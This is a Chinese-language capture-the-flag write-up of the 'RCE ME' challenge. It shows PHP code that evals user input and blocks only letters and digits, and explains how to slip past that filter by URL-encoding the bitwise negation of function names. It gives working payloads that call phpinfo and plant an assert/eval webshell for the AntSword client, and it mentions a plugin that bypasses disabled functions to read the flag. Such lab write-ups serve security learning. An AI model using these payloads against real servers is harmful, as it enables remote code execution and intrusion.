[极客大挑战 2019]RCE ME

知识点

url反编码绕过

审题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
error_reporting(0);
if(isset($_GET['code'])){
$code=$_GET['code'];
if(strlen($code)>40){
die("This is too Long.");
}
if(preg_match("/[A-Za-z0-9]+/",$code)){
die("NO.");
}
@eval($code);
}
else{
highlight_file(__FILE__);
}
// ?>

很明显的rce 只不过过滤了0~9以及所有英文字母 导致刚开始没有一点头绪 后来瞄了一眼wp(太菜了没办法) 知道了url反编码这个东西

url反编码

不会吧不会吧 不会有人不知道url编码是什么吧 url反编码目前我在网上没有查到相关资料 就应该是在原url算法的基础上 在某一步做了相反的步骤啥的 导致编码出来的结果不一样 但是如果在编码前加上相对应的标识 那么计算机应该是可以识别出他是url反编码并将他解码 举个例子(这块我在网上真没找到相关的 都是自己扯的 要是有dalao知道这个编码是咋回事还跟我说说)

1
2
3
4
<?php 
$a = 'phpinfo';
echo urlencode(~ $a);
?>

就这一行小小的代码 他输出的是:

1
%8F%97%8F%96%91%99%90

如果我们直接把他url解码一下会怎样

1
�������

oops乱码了 但是放在题目中 如果我们传入

1
?code=(~%8F%97%8F%96%91%99%90%D7%D6)();

发现执行了phpinfo这个命令 但是注意传入参数的方式 括号阔上并且前面加上一个~
注意 我反编码的只有phpinfo 在传入的code后面跟了括号和封号 因为题目只过滤了字符 并且我之前踩了一个小坑 就是将括号也进行反编码 但是发现只能拿出来单独加上 可能是因为小括号不用进行url编码吧 这个地方不知道暂时先咕着

解题

于是我们有了思路 我们可以写个马

1
2
3
4
5
6
7
8
9
10
<?php 
error_reporting(0);
$a='assert';
$b=urlencode(~$a);
echo $b;
echo "<br>";
$c='(eval($_POST[x]))';
$d=urlencode(~$c);
echo $d;
?>

传参:

1
?code=(~%9E%8C%8C%9A%8D%8B)(~%D7%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%87%A2%D6%D6);

成功连上蚁剑 但是有问题 题目ban了很多函数 导致这个马基本上是废了 没有权限 能看到的flag读不到

物理绕过

对 物理绕过(????) 蚁剑有个插件能够绕过disable_function 具体上网百度一下就好
打开插件 选择php7 /readflag 拿到flag

EOF